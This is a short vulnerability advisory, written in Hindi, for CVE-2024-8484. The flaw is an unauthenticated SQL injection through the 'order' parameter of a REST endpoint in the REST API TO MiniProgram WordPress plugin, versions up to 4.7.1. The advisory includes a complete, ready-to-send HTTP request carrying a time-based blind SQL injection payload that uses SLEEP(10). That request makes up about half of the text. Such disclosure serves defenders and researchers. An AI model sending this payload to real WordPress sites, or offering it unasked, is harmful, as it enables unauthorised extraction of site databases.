
REST API TO MiniProgram <= 4.7.1 - अप्रमाणित SQL Injection
REST API TO MiniProgram <= 4.7.1 - बिना प्रमाणीकरण के SQL इंजेक्शन
CVE: CVE-2024-8484
CVSS: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
CVSS Score: 7.5
Slugs: rest-api-to-miniprogram
WordPress के लिए REST API TO MiniProgram प्लगइन सभी संस्करणों में 4.7.1 तक (इसे शामिल करते हुए) /wp-json/watch-life-net/v1/comment/getcomments REST API एंडपॉइंट के 'order' पैरामीटर के माध्यम से SQL इंजेक्शन के लिए संवेदनशील है, क्योंकि उपयोगकर्ता द्वारा प्रदान किए गए पैरामीटर पर अपर्याप्त एस्केपिंग और मौजूदा SQL क्वेरी पर पर्याप्त तैयारी की कमी है। यह बिना प्रमाणीकरण वाले हमलावरों को मौजूदा क्वेरी में अतिरिक्त SQL क्वेरी जोड़ने की अनुमति देता है, जिसका उपयोग डेटाबेस से संवेदनशील जानकारी निकालने के लिए किया जा सकता है।
GET /wp-json/watch-life-net/v1/comment/getcomments?order=DESC,(SELECT(1)FROM(SELECT(SLEEP(10)))a)--&postid=3&limit=1&page=1&page=1 HTTP/1.1
Host: kubernetes.docker.internal
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://kubernetes.docker.internal/wp-admin/post-new.php?post_type=page
Connection: keep-alive
If-Modified-Since: Mon, 16 Sep 2024 18:56:28 GMT
If-None-Match: "5a3-62241215fdfaa-gzip"
Priority: u=2
